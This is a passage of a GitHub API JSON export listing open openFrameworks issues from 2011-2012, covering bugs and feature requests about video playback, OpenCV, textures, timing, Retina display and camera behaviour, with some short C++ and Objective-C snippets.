deprecation","html_url":"https://github.com/openframeworks/openFrameworks/issues/484","comments":12,"assignee":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T21:04:32Z","body":"it would be nice to start deprecating grabFrame() and idleFrame() (but maybe wait a couple years to actually remove them) , and change the examples to only use update() and isFrameNew().","number":484,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/484","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":613171,"closed_at":null,"created_at":"2011-02-20T17:56:02Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"ace632f74988653fdbde09225134bfdd","url":"https://api.github.com/users/nemik","login":"nemik","id":62301,"avatar_url":"https://secure.gravatar.com/avatar/ace632f74988653fdbde09225134bfdd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVideoPlayer bug when loading subsequent movies after the first one","html_url":"https://github.com/openframeworks/openFrameworks/issues/475","comments":0,"assignee":null,"updated_at":"2011-02-14T17:11:08Z","body":"Within 0062, inside libs/openFrameworks/video/ofVideoPlayer.cpp on line 314 there is a check for height and width not being 0, then \"bDoWeAlreadyHaveAGworld = true;\" is set. However, this prevents other movies after the first from being loaded into that instance of ofVideoPlayer. \r\nI have posted about this in the forum with a fix (to just remove that check) here: http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222\r\n\r\nInside the latest code, it is within ofQuickTimePlayer.cpp https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQuickTimePlayer.cpp#L281.","number":475,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/475","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":598097,"closed_at":null,"created_at":"2011-02-14T17:11:08Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"object init/load state is not consistently testable","html_url":"https://github.com/openframeworks/openFrameworks/issues/463","comments":0,"assignee":null,"updated_at":"2011-02-07T19:58:23Z","body":"I like to be able to know when an object has successfully initialized or loaded and OF provides for this, for the most part, but in an inconsistent manner ie\r\n\r\nofVideoGrabber::initGrabber() returns a bool, but ofVideoGrabber:bInitialized is protected and therefore not accessible\r\n\r\nwhile\r\n\r\nofTrueTypeFont::bLoadedOk is public, but ofTrueTypeFont::loadFont() returns void\r\n\r\nand\r\n\r\nofImage::loadImage() returns a bool and ofLoadImage::bAllocated() returns a bool, yet ofImage::setFromPixels() returns void\r\n\r\nI propose all loadable/initable objects have loading functions which always return a bool and a testable function (isInited(), isLoaded(), etc) for use after loading. Ideally, the testable functions would always be named the same ie myImage.isLoaded(), myVideoGrabber().isLoaded(), myFont.isLoaded() but of course a general name may not apply to all situations (myVideoGrabber.isInited() probably makes more sense).\r\n\r\nHell, all the load functions could be overloaded ie ofImage::load(string filename), ofImage::load(ofPixels pixels), ofImage::load(unsigned char* pixels) across different objects, ofTrueTypeFont::load(string filename), ofVideoGrabber::load(int w, int h, int deviceID). This consistency looks nice to anal me. but might be confusing to newbies and of course would break old code (unless wrapped for legacy compatibility). It seems a little annoying that every objects seems to have it's own way of checking this and that ...","number":463,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/463","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":581395,"closed_at":null,"created_at":"2011-02-07T19:58:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenCV cvSobel() not working with latest master branch","html_url":"https://github.com/openframeworks/openFrameworks/issues/462","comments":0,"assignee":null,"updated_at":"2011-02-07T15:58:19Z","body":"Hi,\r\n\r\nI get the following error:\r\n// INIT OF ERROR\r\nOF_WARNING: ofBaseVideoPlayer::setPixelFormat not implemented\r\nOpenCV Error: Assertion failed (src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F))) in cvSobel, file /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp, line 347\r\nterminate called after throwing an instance of 'cv::Exception'\r\n what(): /Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/__BuildAllLibs/OpenCV-2.2.0/modules/imgproc/src/deriv.cpp:347: error: (-215) src.size() == dst.size() && src.channels() == dst.channels() && ((src.depth() == CV_8U && (dst.depth() == CV_16S || dst.depth() == CV_32F)) || (src.depth() == CV_32F && dst.depth() == CV_32F)) in function cvSobel\r\n// END OF ERROR\r\n\r\nWhen I try to call the cvSobel method like this:\r\ncvSobel( grayImage.getCvImage(), grayImage.getCvImage(), 0, 1, 3 );\r\n\r\nThis works fine in 0062.\r\n\r\nCheers\r\n- rS","number":462,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/462","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":580717,"closed_at":null,"created_at":"2011-02-07T15:58:19Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"get number of input devices and device IDs from ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/461","comments":0,"assignee":null,"updated_at":"2011-02-07T19:38:51Z","body":"Currently, the ofVideoGrabber can list devices to stdout, but does not return the number of available devices. I propose that either listDevices() return an int or a new function be added, something like getNumDevices() or a getDeviceNums() which returns a vector of valid device ids. This could be related to Arturo's Issue where the devices could be retrieved as strings. I think it makes sense to have these as static functions so that you could open all available cameras into an Array of ofVideoGrabbers by retrieving the number of devices and their ids to open them.","number":461,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/461","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":580556,"closed_at":null,"created_at":"2011-02-07T15:24:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"saveImage() and other save operations should create missing directories","html_url":"https://github.com/openframeworks/openFrameworks/issues/460","comments":8,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-08T15:56:48Z","body":"i feel like it happens relatively often where i try to save an image (for example) and the parent directories don't exist, so it just fails without really saying anything.\r\n\r\nit would be nice if the dir(s) were just created automatically for you.","number":460,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/460","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":579790,"closed_at":null,"created_at":"2011-02-07T07:52:25Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTexture::allocate not checking for unnecessary reallocation","html_url":"https://github.com/openframeworks/openFrameworks/issues/454","comments":0,"assignee":null,"updated_at":"2011-02-06T04:26:44Z","body":"ofPixels::allocate is smart in that it doesn't reallocate if you ask for the same size as what's already there. ofTexture should work the same way to avoid unnecessary overhead.","number":454,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/454","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":578069,"closed_at":null,"created_at":"2011-02-06T04:26:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't work with ofSetOrientation","html_url":"https://github.com/openframeworks/openFrameworks/issues/449","comments":0,"assignee":null,"updated_at":"2011-02-02T00:03:09Z","body":"maybe a generic 'transformer' function would handle both this and mouse coordinates, and anything else? ofPoint ofGetAsbolutePosition(x,y)?","number":449,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/449","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":568540,"closed_at":null,"created_at":"2011-02-02T00:03:09Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"no way to get imageType of ofVideoGrabber","html_url":"https://github.com/openframeworks/openFrameworks/issues/446","comments":0,"assignee":null,"updated_at":"2011-01-31T19:26:41Z","body":"ofVideoGrabber has getOFPixels in the .h, but it isn't implemented in the .cpp.\r\n\r\nmaybe this is just a signal that ofPixels stuff needs to be resolved soon... :) i'd be glad to help with this if possible.","number":446,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/446","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":565122,"closed_at":null,"created_at":"2011-01-31T19:26:41Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofGetElapsedTimeMillis returns an int instead of unsigned long","html_url":"https://github.com/openframeworks/openFrameworks/issues/428","comments":0,"assignee":null,"updated_at":"2011-01-28T06:28:01Z","body":"the start time is stored internally as an unsigned long, but ofGetElapsedTimeMillis returns it as an int. ofGetElapsedTimef also does calculations using time as an int. this means time wraps around every (2^31 - 1) milliseconds in days = 24.8 days.\r\n\r\nas an unsigned long it would be (2^64 - 1) milliseconds in years = 584 million years :)","number":428,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/428","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"65a300","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize"}],"id":558215,"closed_at":null,"created_at":"2011-01-28T06:28:01Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Check ofShader Texture Wrap Parameters","html_url":"https://github.com/openframeworks/openFrameworks/issues/424","comments":1,"assignee":null,"updated_at":"2011-12-02T21:05:54Z","body":"I thought checking for custom texture wrapping in ofShader might be useful. Not sure how to add a label to this :/\n\n#include ofGraphics.h\n\nvoid setUniformTexture(const char* name, ofBaseHasTexture& img, int textureLocation=-1);\nvoid setUniformTexture(const char* name, ofTexture& img, int textureLocation=-1);\n\nvoid ofShader::setUniformTexture(const char* name, ofTexture& tex, int textureLocation) {\n\tif(bLoaded) {\n\t\t\n\t\tGLfloat wrapS = -1;\n\t\tGLfloat wrapT = -1;\n\t\t\n\t\tif (ofGetUsingCustomTextureWrap()) {\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, &wrapS);\n\t\t\tglGetTexParameterfv(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, &wrapT);\n\t\t}\n\t\t\n\t\tofTextureData texData = tex.getTextureData();\n\t\tif (textureLocation < 0) textureLocation = texData.textureID;\n\t\tglActiveTexture(GL_TEXTURE0 + textureLocation);\n\t\tglEnable(texData.textureTarget);\n\t\t\n\t\tif(wrapS > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrapS);\n\t\tif(wrapT > 0) glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrapT);\n\t\t\n\t\tglBindTexture(texData.textureTarget, texData.textureID);\n\t\tglDisable(texData.textureTarget);\n\t\tsetUniform1i(name, texData.textureID);\n\t\tglActiveTexture(GL_TEXTURE0);\n\t}\n}","number":424,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/424","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":556923,"closed_at":null,"created_at":"2011-01-27T19:43:31Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"problem with reloading movies in osx","html_url":"https://github.com/openframeworks/openFrameworks/issues/423","comments":0,"assignee":null,"updated_at":"2011-01-24T22:34:29Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=5222","number":423,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/423","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548302,"closed_at":null,"created_at":"2011-01-24T22:34:29Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"117a7eecfee7c7f7e954623fd96e1b6e","url":"https://api.github.com/users/snibbe","login":"snibbe","id":581517,"avatar_url":"https://secure.gravatar.com/avatar/117a7eecfee7c7f7e954623fd96e1b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Retina display support **that doesn't crash devices!** with backward compatibility to OS 3.0","html_url":"https://github.com/openframeworks/openFrameworks/issues/421","comments":2,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2011-12-05T22:03:15Z","body":"Hi guys,\r\n\r\nI posted to the OF forum a solution back in August to support retina display with backward compatibility to pre-OS 4.0 devices:\r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4185&start=15\r\n\r\nIf it's still outstanding, here's the solution!\r\n\r\nEAGLView.mm, initWithFrame, after the eaglLayer.drawableProperties assignment, add:\r\n\r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n if ([[UIScreen mainScreen] scale] > 1) {\r\n // code below doesn't work on iPad 3.2 OS and below, but doesn't need to because scale is 1\r\n [self setContentScaleFactor:[[UIScreen mainScreen] scale]];\r\n }\r\n }\r\n\r\nofAppiPhoneWindow.mm, timerLoop, after [ofxiPhoneGetGLView() startRender]; add:\r\n\r\n int ofwidth = ofGetWidth();\r\n int ofheight = ofGetHeight();\r\n \r\n if ([[UIScreen mainScreen] respondsToSelector:@selector(scale)]) {\r\n ofwidth *= [[UIScreen mainScreen] scale];\r\n ofheight *= [[UIScreen mainScreen] scale];\r\n }\r\n\r\nthen change the glViewport calls:\r\n\r\n\t// this could be taken out and included in ofAppBaseWIndow\r\n\tif(orientation == OFXIPHONE_ORIENTATION_PORTRAIT || orientation == OFXIPHONE_ORIENTATION_UPSIDEDOWN)\r\n\t\tglViewport( 0, 0, ofwidth, ofheight );\r\n\telse\r\n\t\tglViewport( 0, 0, ofheight, ofwidth );","number":421,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/421","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":548070,"closed_at":null,"created_at":"2011-01-24T20:52:18Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"something to wrap glMultMatrixf","html_url":"https://github.com/openframeworks/openFrameworks/issues/418","comments":0,"assignee":null,"updated_at":"2011-01-22T15:57:37Z","body":"suggestions:\r\n\r\n ofPopMatrix(ofMatrix4x4 m)\r\n\r\n ofMultMatrix(ofMatrix4x4 m)\r\n\r\n ofMatrix4x4::apply();\r\n ofMatrix4x4::push();","number":418,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/418","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543729,"closed_at":null,"created_at":"2011-01-22T15:57:37Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"3D isn't scale invariant in certain parts","html_url":"https://github.com/openframeworks/openFrameworks/issues/417","comments":0,"assignee":null,"updated_at":"2011-01-22T15:24:07Z","body":"e.g.\r\n\r\n void ofEasyCam::reset() {\r\n\ttarget.resetTransform();\r\n\tdistance = 100;\r\n }\r\n\r\nofNode's\r\n\tvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nsuggestions:\r\n\r\nglobal variable called something like 'base3DScaleFactor = 10.0f' which will affect all of these current constant scale factors","number":417,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/417","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":543694,"closed_at":null,"created_at":"2011-01-22T15:24:07Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Simulator not working with any examples ","html_url":"https://github.com/openframeworks/openFrameworks/issues/414","comments":3,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-10T05:00:35Z","body":"Getting this error after the app launches in simulator mode \r\n\r\nDetected an attempt to call a symbol in system libraries that is not present on the iPhone:\r\n\r\n","number":414,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/414","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":539979,"closed_at":null,"created_at":"2011-01-20T20:17:35Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera::setPan is broken","html_url":"https://github.com/openframeworks/openFrameworks/issues/413","comments":1,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"","number":413,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/413","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539915,"closed_at":null,"created_at":"2011-01-20T20:01:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add setMultisampling method to glutWindow","html_url":"https://github.com/openframeworks/openFrameworks/issues/412","comments":0,"assignee":null,"updated_at":"2011-01-20T19:33:30Z","body":"multisampling is now working in linux through the display string option. perhaps we could add a method to easily set it if it also works on win/osx","number":412,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/412","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":539845,"closed_at":null,"created_at":"2011-01-20T19:33:30Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofCamera / ofEasyCamera does not work correctly for iPhone / iPad","html_url":"https://github.com/openframeworks/openFrameworks/issues/410","comments":2,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-14T15:11:06Z","body":"Needs to take into account the rotation and the flipping happening in ofAppiPhoneWindow::timerLoop() \n\nAlso the internal call to ofViewport causes clipping in horizontal mode. \n\nIts currently very difficult to setup the camera correctly for iPad / iPhone - would be great if the default for ofCamera would be to start with the typical OF camera view. 